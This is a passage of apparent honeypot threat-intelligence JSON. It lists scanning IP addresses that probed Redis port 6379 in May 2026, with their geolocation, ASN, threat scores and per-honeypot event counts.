        "last_seen_30d": "2026-05-07T03:15:33.643000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Honeytrap": 7,
        "Redishoneypot": 5
      }
    },
    "62.141.63.15": {
      "attack_count": 18,
      "first_seen": "2026-05-31T22:47:09.000Z",
      "last_seen": "2026-05-31T23:23:00.602Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 209503,
      "as_org": "Zentyx Limited",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-31T07:18:04.797000+00:00",
        "last_seen_30d": "2026-05-31T23:37:25.522000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 30,
        "Redishoneypot": 7
      }
    },
    "66.240.236.116": {
      "attack_count": 18,
      "first_seen": "2026-05-27T18:52:37.000Z",
      "last_seen": "2026-05-27T18:53:45.632Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 79.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 27,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T06:54:52.188000+00:00",
        "last_seen_30d": "2026-05-28T03:38:40.293000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 7,
        "Redishoneypot": 6,
        "Dionaea": 5,
        "Cowrie": 4,
        "ElasticPot": 2,
        "Tanner": 2,
        "H0neytr4p": 1
      }
    },
    "86.54.31.38": {
      "attack_count": 18,
      "first_seen": "2026-05-08T11:10:14.000Z",
      "last_seen": "2026-05-08T11:11:24.896Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 12989,
      "as_org": "Black HOST Ltd",
      "threat_score": 91.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 428,
        "days_active_30d": 30,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T22:50:09+00:00",
        "last_seen_30d": "2026-05-31T06:22:41.429000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 322,
        "Honeytrap": 91,
        "Ciscoasa": 10,
        "Redishoneypot": 5
      }
    },
    "147.182.139.196": {
      "attack_count": 17,
      "first_seen": "2026-05-16T14:00:26.000Z",
      "last_seen": "2026-05-16T14:01:40.631Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:00:26+00:00",
        "last_seen_30d": "2026-05-16T14:01:40.631000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "159.223.159.107": {
      "attack_count": 17,
      "first_seen": "2026-05-24T11:59:28.000Z",
      "last_seen": "2026-05-24T12:09:44.505Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T02:19:13+00:00",
        "last_seen_30d": "2026-05-24T12:09:44.505000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 33,
        "Redishoneypot": 5
      }
    },
    "20.102.116.167": {
      "attack_count": 17,
      "first_seen": "2026-05-18T02:18:51.000Z",
      "last_seen": "2026-05-18T02:20:19.676Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 13.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 16,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T19:44:33.693000+00:00",
        "last_seen_30d": "2026-05-18T02:20:19.676000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "20.169.107.142": {
      "attack_count": 17,
      "first_seen": "2026-05-23T04:21:37.000Z",
      "last_seen": "2026-05-23T04:23:06.960Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 45.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 18.3,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 22,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T17:26:23.875000+00:00",
        "last_seen_30d": "2026-05-23T19:01:23.266000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 3,
        "Redishoneypot": 3
      }
    },
    "130.131.162.156": {
      "attack_count": 16,
      "first_seen": "2026-05-26T11:01:47.000Z",
      "last_seen": "2026-05-26T11:03:23.149Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 67.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T18:37:51+00:00",
        "last_seen_30d": "2026-05-31T22:15:10.843000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 10,
        "Redishoneypot": 3
      }
    },
    "14.103.198.15": {
      "attack_count": 16,
      "first_seen": "2026-05-02T16:07:53.000Z",
      "last_seen": "2026-05-12T08:14:03.630Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T16:09:00.599000+00:00",
        "last_seen_30d": "2026-05-12T08:14:03.630000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "128.203.202.236": {
      "attack_count": 15,
      "first_seen": "2026-05-30T01:54:23.000Z",
      "last_seen": "2026-05-30T01:56:40.742Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 60.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.3,
        "persistence": 11.7,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 14,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-17T11:21:53.011000+00:00",
        "last_seen_30d": "2026-05-30T01:56:40.742000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 4,
        "Redishoneypot": 3,
        "Dionaea": 2,
        "ElasticPot": 1
      }
    },
    "20.168.7.107": {
      "attack_count": 15,
      "first_seen": "2026-05-21T10:38:28.000Z",
      "last_seen": "2026-05-21T10:40:21.400Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 43.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 20.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 24,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T19:07:44.363000+00:00",
        "last_seen_30d": "2026-05-25T08:35:46.796000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Honeytrap": 3,
        "Redishoneypot": 3
      }
    },
    "20.168.7.129": {
      "attack_count": 15,
      "first_seen": "2026-05-02T14:54:56.000Z",
      "last_seen": "2026-05-02T14:57:34.637Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 20.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 25,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T14:56:05.096000+00:00",
        "last_seen_30d": "2026-05-26T09:00:03.930000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "20.55.84.43": {
      "attack_count": 15,
      "first_seen": "2026-05-08T17:46:30.000Z",
      "last_seen": "2026-05-08T17:48:53.255Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 20.0,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 24,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T17:47:31.669000+00:00",
        "last_seen_30d": "2026-05-31T08:49:14.013000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "20.65.194.133": {
      "attack_count": 15,
      "first_seen": "2026-05-08T02:36:46.000Z",
      "last_seen": "2026-05-08T02:39:52.365Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 11.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 14,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-08T02:37:55.875000+00:00",
        "last_seen_30d": "2026-05-21T02:58:30.800000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 3,
        "Redishoneypot": 3,
        "CitrixHoneypot": 1
      }
    },
    "74.249.128.154": {
      "attack_count": 15,
      "first_seen": "2026-05-02T11:58:19.000Z",
      "last_seen": "2026-05-02T12:00:28.527Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 62.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.0,
        "persistence": 25,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 30,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T11:59:20.818000+00:00",
        "last_seen_30d": "2026-05-31T14:54:50.476000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 7,
        "Redishoneypot": 3
      }
    },
    "170.64.179.24": {
      "attack_count": 13,
      "first_seen": "2026-05-25T10:00:12.000Z",
      "last_seen": "2026-05-25T10:01:21.556Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 58.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 564,
        "days_active_30d": 1,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-25T10:00:12+00:00",
        "last_seen_30d": "2026-05-25T10:02:28.336000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 346,
        "Honeytrap": 152,
        "Dionaea": 24,
        "ConPot": 15,
        "Ipphoney": 7,
        "Redishoneypot": 6,
        "Ciscoasa": 5,
        "ElasticPot": 5,
        "Cowrie": 4
      }
    },
    "178.73.242.39": {
      "attack_count": 13,
      "first_seen": "2026-05-25T22:28:06.000Z",
      "last_seen": "2026-05-25T22:29:10.797Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42708,
      "as_org": "Glesys AB",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T22:28:06+00:00",
        "last_seen_30d": "2026-05-25T22:29:10.797000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Redishoneypot": 3
      }
    },
    "85.217.149.13": {
      "attack_count": 13,
      "first_seen": "2026-05-29T14:01:22.000Z",
      "last_seen": "2026-05-29T14:02:27.701Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 86.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1400,
        "days_active_30d": 29,
        "ports_targeted_30d": 734,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:18:55.648000+00:00",
        "last_seen_30d": "2026-05-30T23:05:02.247000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 876,
        "Honeytrap": 518,
        "Redishoneypot": 6
      }
    },
    "66.132.195.101": {
      "attack_count": 12,
      "first_seen": "2026-05-11T16:32:47.000Z",
      "last_seen": "2026-05-11T16:33:56.066Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 24,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T07:55:32+00:00",
        "last_seen_30d": "2026-05-29T06:37:37.180000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Honeytrap": 10,
        "Redishoneypot": 6,
        "Dionaea": 1
      }
    },
    "66.132.195.97": {
      "attack_count": 12,
      "first_seen": "2026-05-06T10:33:58.000Z",
      "last_seen": "2026-05-06T10:35:03.879Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 65.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.3,
        "persistence": 21.7,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 26,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T09:36:13+00:00",
        "last_seen_30d": "2026-05-27T13:26:28.850000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Redishoneypot": 6,
        "Honeytrap": 5,
        "CitrixHoneypot": 4
      }
    },
    "66.132.224.87": {
      "attack_count": 12,
      "first_seen": "2026-05-24T01:32:36.000Z",
      "last_seen": "2026-05-24T01:33:42.596Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 151,
        "days_active_30d": 30,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T03:47:11.854000+00:00",
        "last_seen_30d": "2026-05-31T02:20:22.937000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111,
        "Honeytrap": 14,
        "ElasticPot": 13,
        "Ciscoasa": 6,
        "Redishoneypot": 6,
        "Dionaea": 1
      }
    },
    "109.199.108.254": {
      "attack_count": 11,
      "first_seen": "2026-05-23T21:07:27.000Z",
      "last_seen": "2026-05-26T15:58:30.747Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-23T21:08:32.619000+00:00",
        "last_seen_30d": "2026-05-26T15:58:30.747000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "182.242.169.133": {
      "attack_count": 11,
      "first_seen": "2026-05-13T05:04:50.000Z",
      "last_seen": "2026-05-13T05:05:59.947Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T05:04:50+00:00",
        "last_seen_30d": "2026-05-30T11:21:55.600000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 4,
        "Suricata": 2
      }
    },
    "135.222.174.121": {
      "attack_count": 10,
      "first_seen": "2026-05-23T09:32:21.000Z",
      "last_seen": "2026-05-23T09:33:24.112Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:32:21+00:00",
        "last_seen_30d": "2026-05-23T09:33:24.112000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "18.97.26.73": {
      "attack_count": 10,
      "first_seen": "2026-05-10T23:08:10.000Z",
      "last_seen": "2026-05-10T23:09:14.421Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T23:08:10+00:00",
        "last_seen_30d": "2026-05-18T15:59:39.420000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 7,
        "Redishoneypot": 3
      }
    },
    "39.107.103.199": {
      "attack_count": 10,
      "first_seen": "2026-05-16T12:01:27.000Z",
      "last_seen": "2026-05-22T22:37:15.242Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-16T12:02:34.366000+00:00",
        "last_seen_30d": "2026-05-22T22:37:15.242000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "47.94.254.39": {
      "attack_count": 10,
      "first_seen": "2026-05-20T07:24:41.000Z",
      "last_seen": "2026-05-22T19:47:50.254Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-20T07:25:45.513000+00:00",
        "last_seen_30d": "2026-05-22T19:47:50.254000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "198.235.24.169": {
      "attack_count": 9,
      "first_seen": "2026-05-06T23:09:04.000Z",
      "last_seen": "2026-05-06T23:10:42.149Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 26,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T02:53:50+00:00",
        "last_seen_30d": "2026-05-31T20:55:17.338000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 18,
        "Redishoneypot": 3,
        "Tanner": 1
      }
    },
    "198.235.24.246": {
      "attack_count": 9,
      "first_seen": "2026-05-18T18:39:16.000Z",
      "last_seen": "2026-05-18T18:40:57.590Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T05:31:01.138000+00:00",
        "last_seen_30d": "2026-05-30T03:13:11.759000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 18,
        "Redishoneypot": 3,
        "Honeyaml": 1,
        "Sentrypeer": 1
      }
    },
    "20.175.203.24": {
      "attack_count": 9,
      "first_seen": "2026-05-04T06:48:37.000Z",
      "last_seen": "2026-05-04T06:49:42.398Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T06:48:37+00:00",
        "last_seen_30d": "2026-05-04T06:49:42.398000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
